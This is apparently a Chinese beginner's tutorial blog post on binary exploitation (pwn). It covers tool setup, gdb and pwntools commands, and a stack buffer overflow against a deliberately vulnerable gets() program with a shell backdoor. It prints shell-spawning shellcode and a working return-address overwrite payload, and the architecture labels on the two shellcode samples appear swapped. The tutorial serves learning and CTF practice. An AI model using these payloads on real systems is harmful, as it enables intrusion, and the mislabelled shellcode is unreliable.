Toc
  1. 工具准备
    1. 安装gdb
      1. 安装pwntools
      2. 安装 32位GCC库
  2. 常用命令
    1. pwntools常用代码
  • 第一次の简单PWN
    1. 编译程序
    2. 分析程序
    3. PWN!
  • Toc
    0 results found
    白帽酱
    PWN 入门 (一)
    2022/10/18 PWN PWN

    工具准备

    安装gdb

    apt-get update
    apt install -y gdb
    git clone https://github.com/pwndbg/pwndbg
    cd pwndbg
    ./setup.sh

    安装pwntools

    apt-get update
    apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
    python3 -m pip install --upgrade pip
    python3 -m pip install --upgrade pwntools

    安装 32位GCC库

    apt-get install gcc-multilib

    常用命令

    32位编译且关闭内存保护和报错
    gcc -m32 -O0 -fno-stack-protector -z execstack -o exp exp.c
    关闭地址随机化(需root,重启后恢复)
    echo 0 > /proc/sys/kernel/randomize_va_space
    查看文件属性
    file exp
    查看文件保护
    checksec exp
    msf定位偏移量
    msf-pattern_create -l 400
    msf-pattern_offset -q 4Ab5
    查看程序导入的函数
    objdump -R exp
    查看所有函数以及汇编代码
    objdump -d exp

    gdb常用命令

    载入程序
    gdb -q exp
    带参数载入程序
    gdb -q -args ./exp AAAA
    调试的一开始输入(如果断点失败可能需要这条)
    starti
    查看main函数
    disass main
    查看main函数地址
    info address main
    下断点
    b *0x080491ef
    b main
    查看断点
    info b
    清除断点
    d
    运行
    r
    带参数运行
    r python -r 'print("A"*400)'
    查看进程中的权限
    vmmap
    单步执行
    s
    执行一行代码
    n
    继续到下一个断点
    c
    地址运算
    p/d 0xffffd130-0xffffd100
    查看50栈空间
    s 50
    退出
    q

    ida常用按键

    反编译
    F5
    查看所有字符串
    shift+F12
    返回
    Esc
    切换图形/汇编视图
    空格

    pwntools常用代码

    本地溢出

    from pwn import *
    p = process('./epwn')payload= p32(0x0804863A)print("a"*112 + payload)p.sendline('a'*112 + payload) p.interactive()

    远程溢出

    p = remote(‘127.0.0.1’,5667)
    32位shellcode

    print(asm(shellcraft.sh()))
    64位shellcode

    context.arch = “amd64”print(asm(shellcraft.amd64.sh()))

    通用shellcode

    32位

    int main() { unsigned char shellcode[] = “\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05”; int (ret)() = (int()())shellcode; ret(); return 0;}
    64位

    void main(){ char shellcode[] = “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”; void (fp)(void); fp = (void)shellcode; fp();}
    如果需要编译
    gcc -m32 -z execstack shell32.c

    第一次の简单PWN

    编译程序

    #include <stdio.h>
    #include <string.h>
    void success() {
    puts("You Hava already controlled it.");
    system("/bin/sh");
    }
    void test() {
    puts("Connection Successful.");
    }
    void vulnerable() {
    char s[12];//s字符数组空间长度只有12位
    gets(s);//gets 从标准输入获取字符放入s中 输入长度没有限制
    puts(s);
    return;
    }
    int main(int argc, char **argv) {
    vulnerable();
    return 0;
    }

    gcc -m32 -z execstack tset.c

    • m32 生成32位代码
    • execstack 开启可执行栈 (默认GCC 是关闭可执行栈)

    图片.png

    分析程序

    图片.png
    图片.png

    图片.png
    给gets 打个断点
    b *地址
    运行
    r
    单步执行
    n
    执行到gets 输入字符串
    打印栈
    stack+长度
    stack 30
    图片.png
    输入12位字符串
    图片.png
    输入长字符串
    很明显,用户的输入把一部分代码覆盖掉了
    s字符数组空间只有12位,gets 输入长度没有限制
    如果输入超长数据,那么多出的字符会覆盖内存中其他数据 如果覆盖到代码则可能会导致执行异常.
    00:0000│ esp 0xffffd520 —▸ 0xffffd534 ◂— ‘1234567890ab’
    01:0004│ 0xffffd524 —▸ 0xf7fd7a6c (_dl_fixup+236) ◂— mov edi, eax
    02:0008│ 0xffffd528 —▸ 0xf7c18482 ◂— ‘_dl_audit_preinit’
    03:000c│ 0xffffd52c —▸ 0x56556220 (vulnerable+12) ◂— add ebx, 0x2dd4
    04:0010│ 0xffffd530 —▸ 0xffffd570 —▸ 0xf7e20ff4 (GLOBAL_OFFSET_TABLE) ◂— 0x220d8c
    05:0014│ eax 0xffffd534 ◂— ‘1234’
    06:0018│ 0xffffd538 ◂— ‘5678’
    07:001c│ 0xffffd53c ◂— ‘90ab’
    08:0020│ 0xffffd540 ◂— 0x0
    09:0024│ 0xffffd544 —▸ 0xf7e20ff4 (GLOBAL_OFFSET_TABLE) ◂— 0x220d8c
    0a:0028│ ebp 0xffffd548 —▸ 0xffffd558 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— …
    0b:002c│ 0xffffd54c —▸ 0x5655625f (main+21) ◂— mov eax, 0
    当vulnerable函数执行完后需要通过这个地址返回到main函数来继续执行程序
    图片.png
    我们只需要覆盖这块地址上的内存 就可以控制返回地址 达到执行内存中任意已经存在的代码
    通过简单的计算可得出playload长度
    0x28-0x14=0x14(24)
    输入任意24个字符之后加上4位地址就可以准确覆盖原有地址
    图片.png
    题目里提供了一个后门函数
    函数内执行了 system(“/bin/sh”)
    我们只要将目标地址设为这个函数地址,就可以执行这个函数来获得一个交互bash shell. 最终达成RCE的目的.

    PWN!

    这里需要注意的是: 32位地址在内存中是小端储存
    需要转换一下 0x565561ad ->0xad615556
    最终payload
    aaaaaaaaaaaaaaaaaaaaaaaa\xad\x61\x55\x56
    也可以使用pwntools 完成PWN 简化操作

    from pwn import *
    p = process('./a.out')
    payload= p32(0x565561ad)#大端地址转换为32位地址 (小端)
    p.sendline(b'a'*24 + payload)
    p.interactive()#开始终端交互

    图片.png
    参考
    https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/
    https://mp.weixin.qq.com/s/xBNB-FLRLafLhAgmMg6Ydw
    https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

    本文作者:白帽酱
    版权声明:本文首发于白帽酱的博客,转载请注明出处!